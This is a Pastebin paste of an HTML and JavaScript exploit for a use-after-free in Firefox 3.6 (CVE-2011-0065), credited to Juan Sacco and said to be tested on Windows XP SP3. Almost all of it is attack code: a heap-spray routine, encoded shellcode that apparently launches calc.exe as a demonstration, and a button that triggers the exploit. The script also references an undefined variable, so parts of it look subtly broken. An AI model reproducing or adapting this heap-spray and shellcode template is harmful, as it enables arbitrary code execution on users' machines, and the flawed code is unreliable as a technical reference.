Advertisement
Guest User

Untitled

a guest
Nov 26th, 2014
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 1.59 KB | None | 0 0
  1. <!--
  2. Exploit Author: Juan Sacco
  3. Name: Mozilla Firefox 3.6 mChannel ( Universal )
  4. Description: Mozilla Firefox 3.6 is prone to an use-after-free
  5. vulnerability in OBJECT mChannel that allows an attacker to execute
  6. arbitrary code.
  7. Tested on Windows XP SP3
  8. CVE: 2011-0065
  9. -->
  10. <html>
  11. <head>
  12. </head>
  13. <body>
  14. <pre>
  15. # Title: Firefox 3.6 ( Universal )
  16. </pre>
  17. <object id="exploit" ></object>
  18. <script>
  19. function exploit()    {
  20.     var foo=document.getElementById("exploit");
  21.     e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
  22. Object,0);
  23.     var vftable = unescape("\x00% u0c10");
  24.     var shellcode =
  25. unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc");
  26.     var vtable = unescape("%u0c0c%u0c0c");
  27.         while(vtable.length < 0x10000) {vtable += vtable;}
  28.        var heapblock =
  29. shellcode+vtable.substring(0,0x10000/2-shellcode.length*2);
  30.        while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;}
  31.    var finalspray = heapblock.substring(0,0x80000 - shellcode.length -
  32. 0x24/2 - 0x4/2 - 0x2/2);
  33.  
  34.    var heapspray = new Array()
  35.        for (var i=0;i<0x100;i++){
  36.            heapspray[i] = finalspray+shellcode;
  37.        }
  38.    foo.data="";}
  39. </script>
  40. <input type=button value="Exploit" onclick="exploit()" />
  41. </body>
  42. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement